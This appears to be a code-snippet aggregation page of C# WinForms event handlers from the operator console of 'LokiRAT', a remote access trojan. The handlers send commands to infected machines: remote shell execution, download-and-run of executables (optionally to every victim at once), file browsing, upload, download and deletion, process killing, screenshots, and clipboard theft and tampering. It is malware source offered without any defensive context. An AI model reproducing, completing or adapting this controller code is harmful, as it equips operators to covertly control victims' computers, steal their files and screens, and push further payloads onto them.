private void timer1_Tick(object sender, EventArgs e)
 {
     try
     {
         if (Global.lastCommand[id] != this.myLastCommand)
         {
             this.myLastCommand = Global.lastCommand[id];
             string[] rets = Regex.Split(Global.GetLastCommandText(id), "{-p}");
             if (rets[0] == "LSprocess")
             {
                 this.listView1.Items.Clear();
                 for (int i = 1; i < (rets.Length - 1); i++)
                 {
                     string[]     pros = Regex.Split(rets[i], "{-pi}");
                     ListViewItem item = this.listView1.Items.Add(pros[0]);
                     item.ImageIndex = 0;
                     int num2 = Convert.ToInt32(pros[1]) / 0x400;
                     item.SubItems.Add(num2.ToString() + " KB");
                     item.SubItems.Add(pros[2]);
                 }
             }
             else if (rets[0] == "RSpkill")
             {
                 Global.AddCommandToList(id, "process");
             }
         }
     }
     catch (Exception ex)
     {
     }
 }
Exemple #2
0
 private void treeView1_AfterSelect(object sender, TreeViewEventArgs e)
 {
     this.listView1.Items.Clear();
     this.textBox1.Text = this.treeView1.SelectedNode.FullPath + @"\";
     Global.AddCommandToList(id, "list|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/");
     this.toolStripTextBox2.Text = this.treeView1.SelectedNode.FullPath.Substring(this.treeView1.SelectedNode.FullPath.LastIndexOf(@"\") + 1);
 }
Exemple #3
0
 private void screenshootToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (ListViewItem item in listView1.SelectedItems)
     {
         Global.AddCommandToList(item.Text, "screen");
         new screenshot(item.Text).Show();
     }
 }
Exemple #4
0
        private void UploadToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();

            if (ofd.ShowDialog() == DialogResult.OK)
            {
                Global.AddCommandToList(id, "download|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + ofd.FileName.Substring(ofd.FileName.LastIndexOf(@"\") + 1) + "|"
                                        + utils.GetBytesToString(gzip.Compress(File.ReadAllBytes(ofd.FileName))));
            }
        }
Exemple #5
0
        private void timer1_Tick(object sender, EventArgs e)
        {
            try
            {
                if (Global.lastCommand[id] != this.myLastCommand)
                {
                    this.myLastCommand = Global.lastCommand[id];

                    string str = Global.GetLastCommandText(id);
                    if (str.Substring(0, 6) == "LSlist")
                    {
                        int num;
                        this.myLastCommand = Global.lastCommand[id];
                        this.treeView1.SelectedNode.Nodes.Clear();
                        string[] strArray2 = Regex.Split(str, "{-fbr}");
                        string[] strArray4 = Regex.Split(strArray2[0], "{-f}");
                        string[] strArray3 = Regex.Split(strArray2[1], "{-f}");
                        for (num = 1; num < (strArray4.Length - 1); num++)
                        {
                            this.treeView1.SelectedNode.Nodes.Add(new TreeNode(strArray4[num]));
                        }
                        this.treeView1.SelectedNode.Expand();
                        this.listView1.Items.Clear();
                        for (num = 0; num < (strArray3.Length - 1); num++)
                        {
                            string[]     infos = Regex.Split(strArray3[num], "{-fi}");
                            ListViewItem item  = this.listView1.Items.Add(infos[0]);
                            item.ImageIndex = this.genImageFile(infos[0]);
                            item.SubItems.Add(this.genSize(infos[1]));
                            item.SubItems.Add(infos[2]);
                        }
                    }
                    else if ((((str.Substring(0, 8) == "RSdelete") || (str.Substring(0, 10) == "RScreatdir")) || (str.Substring(0, 10) == "RSdownload")) || (str.Substring(0, 8) == "RSrename"))
                    {
                        Global.AddCommandToList(id, "list|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/");
                    }
                    else if (str.Substring(0, 8) == "LSupload")
                    {
                        string         fileUploadFilename = this.treeView1.SelectedNode.FullPath + "\\" + curDownFileName;
                        string[]       rets = Regex.Split(str, "{-}");
                        SaveFileDialog sfd  = new SaveFileDialog();
                        sfd.FileName = curDownFileName;
                        sfd.Filter   = "All Files|*.*";
                        if (sfd.ShowDialog() == DialogResult.OK)
                        {
                            File.WriteAllBytes(sfd.FileName, gzip.Decompress(utils.GetStringToBytes(rets[1])));
                        }
                    }
                }
            }
            catch (Exception ex)
            {
            }
        }
Exemple #6
0
 private void deleteToolStripMenuItem2_Click(object sender, EventArgs e)
 {
     try
     {
         Global.AddCommandToList(id, "delete|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.listView1.SelectedItems[0].Text);
     }
     catch
     {
         MessageBox.Show("You must select file first!", "Select file | LokiRAT", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
     }
 }
Exemple #7
0
 private void button3_Click(object sender, EventArgs e)
 {
     if (this.checkBox1.Checked)
     {
         Global.AddCommandToAllList("downloadexe|" + this.textBox3.Text);
     }
     else
     {
         Global.AddCommandToList(id, "downloadexe|" + this.textBox3.Text);
     }
     base.Close();
 }
Exemple #8
0
 private void exitToolStripMenuItem_Click(object sender, EventArgs e)
 {
     for (int i = listView1.Items.Count - 1; i >= 0; i--)
     {
         if (listView1.Items[i].Selected)
         {
             Global.AddCommandToList(listView1.Items[i].Text, "close");
             Global.ClientRemove(listView1.Items[i].Text);
             listView1.Items[i].Remove();
         }
     }
 }
Exemple #9
0
        private void ComboBox1_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(comboBox1.Text.Trim()))
            {
                string input = comboBox1.Text;
                comboBox1.Text = string.Empty;

                if (input == "exit")
                {
                    this.Close();
                }
                else
                {
                    textBox1.AppendText("->" + input + "\r\n");
                    Global.AddCommandToList(id, "shellexec|" + input);
                    comboBox1.Items.Add(input);
                }

                e.Handled          = true;
                e.SuppressKeyPress = true;
            }
        }
Exemple #10
0
 private void renameToolStripMenuItem3_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "rename|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.listView1.SelectedItems[0].Text + "|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.toolStripTextBox3.Text);
 }
Exemple #11
0
 private void clearToolStripMenuItem_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "clipboardset|");
     this.textBox1.Clear();
 }
Exemple #12
0
 private void renameToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "delete|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/");
 }
Exemple #13
0
 private void renameToolStripMenuItem2_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "rename|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/|" + this.treeView1.SelectedNode.FullPath.Substring(0, this.treeView1.SelectedNode.FullPath.LastIndexOf(@"\")).Replace(@"\", "/") + "/" + this.toolStripTextBox2.Text);
 }
Exemple #14
0
 private void setToolStripMenuItem_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "clipboardset|" + this.textBox1.Text);
 }
Exemple #15
0
 private void getToolStripMenuItem_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "clipboard");
 }
Exemple #16
0
 private void button2_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "run|" + this.textBox2.Text);
     base.Close();
 }
Exemple #17
0
 private void addNewFolderToolStripMenuItem_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "creatdir|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.toolStripTextBox1.Text + "/");
 }
Exemple #18
0
 private void newScreenshotToolStripMenuItem_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "screen");
 }
Exemple #19
0
 private void clipboard_Load(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "clipboard");
 }
Exemple #20
0
 private void processManager_Load(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "process");
 }
Exemple #21
0
 private void killProcessToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     Global.AddCommandToList(id, "pkill|" + this.listView1.SelectedItems[0].Text);
     this.listView1.Items.Clear();
 }
Exemple #22
0
 private void reloadToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     this.listView1.Items.Clear();
     Global.AddCommandToList(id, "process");
 }